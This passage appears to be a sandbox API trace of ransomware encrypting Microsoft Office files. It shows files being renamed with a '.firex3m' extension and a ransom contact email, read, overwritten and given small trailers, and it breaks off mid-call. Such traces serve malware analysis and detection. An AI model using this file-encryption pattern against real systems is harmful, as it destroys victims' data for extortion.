hFindFile=0x6d4e40) returned 1 [0177.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeWord.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeword.nrr.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0177.573] GetProcessHeap () returned 0x630000 [0177.573] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70b30a0 [0177.574] GetProcessHeap () returned 0x630000 [0177.574] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70be4d0 [0177.574] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.574] ReadFile (in: hFile=0x408, lpBuffer=0x70b30a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b30a0*, lpNumberOfBytesRead=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.593] GetProcessHeap () returned 0x630000 [0185.593] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0185.593] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.593] WriteFile (in: hFile=0x408, lpBuffer=0x70be4d0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x70be4d0*, lpNumberOfBytesWritten=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.594] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.594] WriteFile (in: hFile=0x408, lpBuffer=0x70c98cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c98cf*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0187.459] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.459] WriteFile (in: hFile=0x408, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0187.459] CloseHandle (hObject=0x408) returned 1 [0187.459] GetProcessHeap () returned 0x630000 [0187.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70be4d0 | out: hHeap=0x630000) returned 1 [0187.459] GetProcessHeap () returned 0x630000 [0187.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70b30a0 | out: hHeap=0x630000) returned 1 [0187.459] GetProcessHeap () returned 0x630000 [0187.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0187.459] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.459] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeWord.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x35ae3e1a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5fa98, dwReserved0=0xb907496, dwReserved1=0x70b3098, cFileName="TellMeWord.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TELLME~1.FIR")) returned 0x6d5000 [0187.460] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0187.460] Sleep (dwMilliseconds=0x1) [0189.446] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8B.GIF", len=0x49 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8B.GIF") returned 1 [0189.446] GetProcessHeap () returned 0x630000 [0189.446] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2984) returned 0x707d3d0 [0189.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8B.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir8b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0189.447] CloseHandle (hObject=0x6a4) returned 1 [0189.447] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0189.447] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8B.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir8b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8B.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir8b.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0189.449] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.449] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8B.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1038, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR8B.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR8~2.FIR")) returned 0x6d5540 [0189.449] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0189.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8B.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir8b.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0189.449] GetProcessHeap () returned 0x630000 [0189.449] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1041) returned 0x714508 [0189.449] GetProcessHeap () returned 0x630000 [0189.449] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1041) returned 0x723c1e8 [0189.449] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.449] ReadFile (in: hFile=0x6a4, lpBuffer=0x714508, nNumberOfBytesToRead=0x1020, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x714508*, lpNumberOfBytesRead=0x4bfff0c*=0x1020, lpOverlapped=0x0) returned 1 [0189.466] GetProcessHeap () returned 0x630000 [0189.466] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0189.466] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.466] WriteFile (in: hFile=0x6a4, lpBuffer=0x723c1e8*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x723c1e8*, lpNumberOfBytesWritten=0x4bfff0c*=0x1020, lpOverlapped=0x0) returned 1 [0189.466] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.466] WriteFile (in: hFile=0x6a4, lpBuffer=0x723d207*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x723d207*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0189.467] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.467] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0189.467] CloseHandle (hObject=0x6a4) returned 1 [0189.467] GetProcessHeap () returned 0x630000 [0189.467] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x723c1e8 | out: hHeap=0x630000) returned 1 [0189.467] GetProcessHeap () returned 0x630000 [0189.467] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x630000) returned 1 [0189.467] GetProcessHeap () returned 0x630000 [0189.467] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0189.467] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.467] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR8B.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36e16a76, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x105c, dwReserved0=0xb907496, dwReserved1=0x714500, cFileName="ZPDIR8B.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR8~2.FIR")) returned 0x6d4e40 [0189.467] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0189.467] Sleep (dwMilliseconds=0x1) [0189.493] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6F.GIF", len=0x49 | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6F.GIF") returned 1 [0189.493] GetProcessHeap () returned 0x630000 [0189.493] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2978) returned 0x707d3d0 [0189.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir6f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0189.493] CloseHandle (hObject=0x4dc) returned 1 [0189.493] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0189.494] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir6f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6F.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir6f.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0189.495] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.495] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6F.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x41e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR6F.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR6~1.FIR")) returned 0x6d5280 [0189.495] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0189.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6F.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir6f.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0189.495] GetProcessHeap () returned 0x630000 [0189.495] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4201) returned 0x7328408 [0189.495] GetProcessHeap () returned 0x630000 [0189.495] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4201) returned 0x732c618 [0189.495] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.495] ReadFile (in: hFile=0x4dc, lpBuffer=0x7328408, nNumberOfBytesToRead=0x41e0, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7328408*, lpNumberOfBytesRead=0x4bfff0c*=0x41e0, lpOverlapped=0x0) returned 1 [0191.797] GetProcessHeap () returned 0x630000 [0191.797] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176368 [0191.797] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.797] WriteFile (in: hFile=0x4dc, lpBuffer=0x732c618*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x732c618*, lpNumberOfBytesWritten=0x4bfff0c*=0x41e0, lpOverlapped=0x0) returned 1 [0191.797] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.797] WriteFile (in: hFile=0x4dc, lpBuffer=0x73307f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x73307f7*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0191.798] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.798] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0191.798] CloseHandle (hObject=0x4dc) returned 1 [0191.798] GetProcessHeap () returned 0x630000 [0191.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x732c618 | out: hHeap=0x630000) returned 1 [0191.798] GetProcessHeap () returned 0x630000 [0191.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7328408 | out: hHeap=0x630000) returned 1 [0191.798] GetProcessHeap () returned 0x630000 [0191.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176368 | out: hHeap=0x630000) returned 1 [0191.798] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.798] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6F.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3845026a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4209, dwReserved0=0xb907496, dwReserved1=0x7328400, cFileName="ZPDIR6F.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR6~1.FIR")) returned 0x6d5540 [0191.798] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0191.799] Sleep (dwMilliseconds=0x1) [0192.944] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx", len=0x4e | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx") returned 1 [0192.944] GetProcessHeap () returned 0x630000 [0192.944] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47e0) returned 0x7133a90 [0192.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0193.570] CloseHandle (hObject=0x6e8) returned 1 [0193.571] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.571] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalresume.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0200.138] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.139] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffc6c | out: lpFindFileData=0x4bffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6c858b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11aa1, dwReserved0=0x330078, dwReserved1=0x6d, cFileName="ChronologicalResume.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CHRONO~1.FIR")) returned 0x6d5280 [0200.139] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0200.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalresume.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0200.139] GetProcessHeap () returned 0x630000 [0200.139] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72846e0 [0200.139] GetProcessHeap () returned 0x630000 [0200.139] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x737f8a8 [0200.139] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.139] ReadFile (in: hFile=0x6e8, lpBuffer=0x72846e0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72846e0*, lpNumberOfBytesRead=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0208.656] GetProcessHeap () returned 0x630000 [0208.656] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0208.656] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.656] WriteFile (in: hFile=0x6e8, lpBuffer=0x737f8a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x737f8a8*, lpNumberOfBytesWritten=0x4bfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0208.656] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.656] WriteFile (in: hFile=0x6e8, lpBuffer=0x738aca7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x738aca7*, lpNumberOfBytesWritten=0x4bfff0c*=0x20, lpOverlapped=0x0) returned 1 [0208.657] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.657] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4bfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4bfff0c*=0x4, lpOverlapped=0x0) returned 1 [0208.657] CloseHandle (hObject=0x6e8) returned 1 [0208.657] GetProcessHeap () returned 0x630000 [0208.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x737f8a8 | out: hHeap=0x630000) returned 1 [0208.658] GetProcessHeap () returned 0x630000 [0208.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72846e0 | out: hHeap=0x630000) returned 1 [0208.658] GetProcessHeap () returned 0x630000 [0208.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0208.658] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0208.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalResume.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4bffcc4 | out: lpFindFileData=0x4bffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x425150a8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11ac5, dwReserved0=0xb907496, dwReserved1=0x778915ca, cFileName="ChronologicalResume.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CHRONO~1.FIR")) returned 0x6d5000 [0208.658] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0208.658] Sleep (dwMilliseconds=0x1) [0210.565] SysReAllocStringLen (in: pbstr=0x4bfff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.INF", len=0x6c | out: pbstr=0x4bfff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.INF") returned 1 [0210.565] GetProcessHeap () returned 0x630000 [0210.565] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e10) returned 0x6fe4288 [0210.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\spring.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0210.566] CloseHandle (hObject=0x6d4) returned 1 [0210.566] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4bfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0210.567] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\microsoft 